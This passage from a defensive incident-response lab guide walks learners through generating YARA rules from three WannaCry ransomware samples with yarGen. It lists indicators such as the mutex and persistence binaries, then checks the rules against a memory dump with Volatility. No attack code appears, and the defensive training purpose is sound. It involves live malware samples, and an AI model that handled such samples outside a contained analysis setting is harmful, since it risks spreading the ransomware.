folder (see screenshot), using right-click and select "New" -> "Directory...";

o Double-click the YARA folder in the right-hand window;

o Drag and drop the three samples (executable.812.exe, executable.1104.exe,
executable.1140.exe) from the left window to the right window

Press "OK" in the "Upload" window that pops up! Once completed, please minimize
WinSCP.exe, do not close it as we will need it in one of the later steps of the exercise.



11. Connect to Ubuntu02 using Putty

We will now set up an SSH connection to our malware analysis box using Putty. Please
open Putty.exe on the Desktop and double-click the Ubuntu02 entry.

12. Running yarGen for the first time

We will now use yarGen to automatically generate YARA rules for a malware sample!



13.

We will first go into the yarGen-master folder and read the yarGen help file by running
the following commands:

alanmarshall@ubuntu02:~# cd Tools/yarGen
alanmarshall@ubuntu02:~/Tools/yarGen# python ./yarGen.py -h

Carefully read through the help file to understand how yarGen.py operates. As you
can see, it is highly configurable and can scan entire directories for malware samples.

Running yarGen against target directory

We will run yarGen against our target malware directory. The command line we will
use is the following:

alanmarshall@ubuntu02:~/Tools/yarGen# python ./yarGen.py --nr
--excludegood -m /tmp/YARA/ -a alanmarshall -0 generated.yara

The options are the following:

--nr: Do not recursively go through directories

--excludegood: Exclude known good strings (yarGen has a built-in dictionary of
known-good strings)

-m: Target folder that should be analysed for the generation of rules

-a: author name

-0: output file name

Now, go and grab a coffee... This will take a few minutes (it will load all known goods
in RAM, which will take a while)!



14. Understanding yarGen's output

Once yarGen has finished its analysis, it will report that it has created 3 SIMPLE rules
and 1 SUPER rule. What does this mean?

o The SIMPLE rules are rules that match the provided executables individually.
yarGen has thus created one rule for every executable;

o The SUPER rules are rules that match on more than one executable, these are
especially interesting! Note that in our case, we provided 2 times the same
executable (2 instances of the WanaDecryptor), so it makes sense that a super
rule exists!

15. Review generated YARA rules

Let's review the generated YARA rules, which have been stored in the "generated.yar"
file in the current directory:



16.

alanmarshall@ubuntu02:~ /Tools/yarGen# cat generated.yara

Please take a few moments to review the different strings extracted. Amongst others,
you should see the following:

o The mutex WannaCry creates ("Global\\MsWinZonesCacheCounterMutexA");

o The "taskdl.exe", "taskse.exe" and "tasksche.exe" executables, which
WannaCry uses to persist;

o Some .wnry files generated by WannaCry;

o ...

This looks like a good set of rules that we can now use to detect similar WannaCry
samples in our environment!

Copy YARA rule file to Desktop

Let's switch back to the WinSCP folder that was still open. In the window on the right,
please open the dropdown list and navigate to the "/home/alanmarshall/Tools
/yarGen/" folder. First click "/ (root)" and open the required directories afterwards.
You may need to click the "refresh" icon to see the generated.yara file!

Once this is done, please drag and drop the generated.yara file from the window on
the right to the window on the left, thus copying the YARA file to our Desktop.



17. Test YARA rules using Volatility

Let's see if our YARA rules are effective using another one of Volatility's plugins. The
YARA plugins in Volatility source on Windows are sometimes a bit shaky, so we'll
switch it around and use the standalone executable once! Please switch back to your
command line window and browse the C:\Users\alan.marshall\Desktop\Blue
Team\Volatility\2.6 - standalone directory:

C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest - source> cd ..
C:\Users\alan.marshall\Desktop\Blue Team\Volatility\latest - source> cd
"2.6 - standalone"

We can now launch a YARA scan against our memory dump by invoking the
"yarascan" module and specifing our yara ruleset:

C:\Users\alan.marshall\Desktop\Blue Team\Volatility\2.6 -
standalone> volatility_2.6_win64_standalone.exe yarascan --yara-file="C:\Users
\alan.marshall\Desktop\Blue Team\generated.yara" -f ..\..\memdump.mem
--profile="Win7SP1x64_23418"

Volatility will now dump out all YARA rule matches in a "hexeditor-like" output! Please
take a moment to analyze the hits, you should observe that they only hit on the
suspicious Wannacry-related processes! This confirms our YARA rules are effective and
are not generating false positives!

As a next step, we could now deploy these YARA rules in an enterprise-wide scan to
find additional infected systems. This will be even more useful to detect more "silent"
types of malware, as ransomware is typically rather vocal about its presence on a



system :)

18. Lab Conclusion
Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how Volatility can be used in Incident Response activities to perform a
"quick" analysis of a memory dump. We continued on this analysis to also create
YARA rules that can be used to sweep the rest of the environment for similar
infections.

ATTENTION: Finishing this step will close your lab!
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